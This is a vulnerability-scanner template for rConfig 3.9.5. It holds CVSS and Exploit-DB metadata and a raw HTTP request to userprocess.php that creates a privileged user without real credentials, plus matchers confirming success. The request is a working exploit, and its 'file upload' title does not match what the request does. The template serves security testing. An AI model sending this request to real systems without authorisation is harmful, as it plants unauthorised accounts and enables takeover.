id: rconfig-rce

info:
  name: rConfig 3.9.5 - Arbitrary File Upload
  author: dwisiswant0
  severity: high
  description: rConfig 3.9.5 is susceptible to an arbitrary file upload via the userprocess.php endpoint. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cwe-id: CWE-434
  reference:
    - https://www.rconfig.com/downloads/rconfig-3.9.5.zip
    - https://www.exploit-db.com/exploits/48878
  tags: rconfig,rce,edb
  metadata:
    max-request: 1

http:
  - raw:
      - |
        POST /lib/crud/userprocess.php HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: multipart/form-data; boundary=01b28e152ee044338224bf647275f8eb
        Cookie: PHPSESSID={{randstr}}

        --01b28e152ee044338224bf647275f8eb
        Content-Disposition: form-data; name="username"

        {{randstr}}
        --01b28e152ee044338224bf647275f8eb
        Content-Disposition: form-data; name="passconf"

        Testing1@
        --01b28e152ee044338224bf647275f8eb
        Content-Disposition: form-data; name="password"

        Testing1@
        --01b28e152ee044338224bf647275f8eb
        Content-Disposition: form-data; name="email"

        test@{{randstr}}.tld
        --01b28e152ee044338224bf647275f8eb
        Content-Disposition: form-data; name="editid"


        --01b28e152ee044338224bf647275f8eb
        Content-Disposition: form-data; name="add"

        add
        --01b28e152ee044338224bf647275f8eb
        Content-Disposition: form-data; name="ulevelid"

        9
        --01b28e152ee044338224bf647275f8eb--

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "User {{randstr}} successfully added to Database"

        part: body
      - type: status
        status:
          - 302